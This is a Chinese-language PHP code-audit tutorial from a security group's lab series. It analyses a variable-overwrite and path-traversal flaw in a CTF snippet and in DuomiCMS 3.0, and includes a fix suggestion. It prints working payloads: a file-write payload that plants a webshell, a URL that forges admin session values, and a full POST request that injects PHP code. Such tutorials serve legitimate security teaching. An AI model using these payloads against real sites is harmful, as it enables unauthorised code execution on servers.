程式碼審計Day14 - 從變數覆蓋到getshell
大家好,我們是紅日安全-程式碼審計小組。最近我們小組正在做一個PHP程式碼審計的專案,供大家學習交流,我們給這個專案起了一個名字叫 ofollow,noindex"> PHP-Audit-Labs 。現在大家所看到的系列文章,屬於專案 第一階段 的內容,本階段的內容題目均來自 PHP SECURITY CALENDAR 2017 。對於每一道題目,我們均給出對應的分析,並結合實際CMS進行解說。在文章的最後,我們還會留一道CTF題目,供大家練習,希望大家喜歡。下面是 第14篇 程式碼審計文章:
Day 14 - Snowman
題目叫做雪人,程式碼如下:
漏洞解析 :
這道題目講的是一個 變數覆蓋 與 路徑穿越 問題。在 第10-11行 處, Carrot 類的構造方法將超全域性陣列 $_GET 進行變數註冊,這樣即可覆蓋 第8行 已定義的 $this-> 變數。而在 第16行 處的解構函式中, file_put_contents 函式的第一個引數又是由 $this-> 變數拼接的,這就導致我們可以控制寫入檔案的位置,最終造成任意檔案寫入問題。下面我們試著使用 payload : id=../var/www/html/shell.php&shell=’,)%0a<?php phpinfo();?>// 寫入 webshell :
例項分析
本次例項分析,我們選取的是 DuomiCMS_3.0 最新版。該CMS存在全域性變數註冊問題,如果程式編寫不當,會導致變數覆蓋,本次我們便來分析 由變數覆蓋導致的getshell 問題。
首先我們先來看一下該CMS中的全域性變數註冊程式碼,該程式碼位於 duomiphp/common.php 檔案中,如下:
其中 _RunMagicQuotes 函式將特殊符號,使用 addslashes 函式進行轉義處理。我們來搜尋 fwrite 函式,看看是否存在可利用的寫檔案程式(為了寫 shell )。 phpstorm 程式搜尋結果如下:
我們可以看到有一個 admin\admin_ping.php 檔案中,存在可利用的地方,因為其寫入的目標檔案為 PHP 程式,且寫入內容中存在兩個可控變數。其程式碼具體如下:
$weburl變數和 $token 變數從 POST方式 獲取,其變數也只是經過 _RunMagicQuotes 函式過濾處理,以及 duomiphp\webscan.php 檔案的過濾規則,但是並不影響我們寫shell。過濾規則具體如下:
然而要想利用這個檔案,我們就必須是 admin 身份,不然沒有許可權訪問該檔案。所以我們看看該CMS是如何對使用者身份進行認定的,是否可以利用之前的變數覆蓋來偽造身份呢?
跟進 admin\admin_ping.php 檔案開頭包含的 admin\config.php 檔案,那麼我們要關注的是如下程式碼:
我們需要知道程式是如何對使用者的身份進行處理的,跟進 duomiphp\check.admin.php 檔案,關注如下程式碼:
我們可以看到這裡記錄了使用者名稱字、所屬組、使用者,再來看看 admin 所對應的這三個值分別是多少。找到 admin\login.php 檔案,如下圖,我們只要讓 checkUser 方法返回1即是admin使用者。
跟進 duomiphp\check.admin.php 檔案的 checkUser 方法,具體程式碼如下:
我們直接使用正確admin賬號密碼登入後臺,可以觀察到admin使用者對應的使用者和所屬組均為1。
那麼現在我們只要利用變數覆蓋漏洞,覆蓋 session 的值,從而偽造 admin 身份,然後就可以愉快的寫shell了。
漏洞利用
我們需要先找一些開啟 session_start 函式的程式來輔助我們偽造身份,我們這裡就選擇 member/share.php 檔案。
我們先訪問如下 payload :
http://localhost/member/share.php?_SESSION[duomi_group_]=1&_SESSION[duomi_admin_]=1
當我們訪問 payload 後,我們對應 session 的使用者和所屬組都變成了1。然後,我們再POST如下資料包寫入webshell:
POST /admin/admin_ping.php?action=set HTTP/1.1 Host: www.localhost.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 34 weburl=";phpinfo();//&token=
修復建議
實際上,這個漏洞和 Dedecms 變數覆蓋漏洞很相似。而在 Dedecms 的官方修復程式碼中,多了檢測變數名是否為PHP原有的超全域性陣列,如果是,則直接退出並告知變數不允許,具體修復程式碼如下:
結語
看完了上述分析,不知道大家是否對 變數覆蓋 導致的漏洞有了更加深入的理解,文中用到的 CMS 可以從這裡( DuomiCMS_3.0 )下載,當然文中若有不當之處,還望各位斧正。如果你對我們的專案感興趣,歡迎傳送郵件到 **[email protected] 聯絡我們。 Day14** 的分析文章就到這裡,我們最後留了一道CTF題目給大家練手,題目如下:連結: https://pan.baidu.com/s/1pHjOVK0Ib-tjztkgBxe3nQ 密碼: 59t2(題目環境:PHP5.2.x)
題解我們會階段性放出,如果大家有什麼好的解法,可以在文章底下留言,祝大家玩的愉快!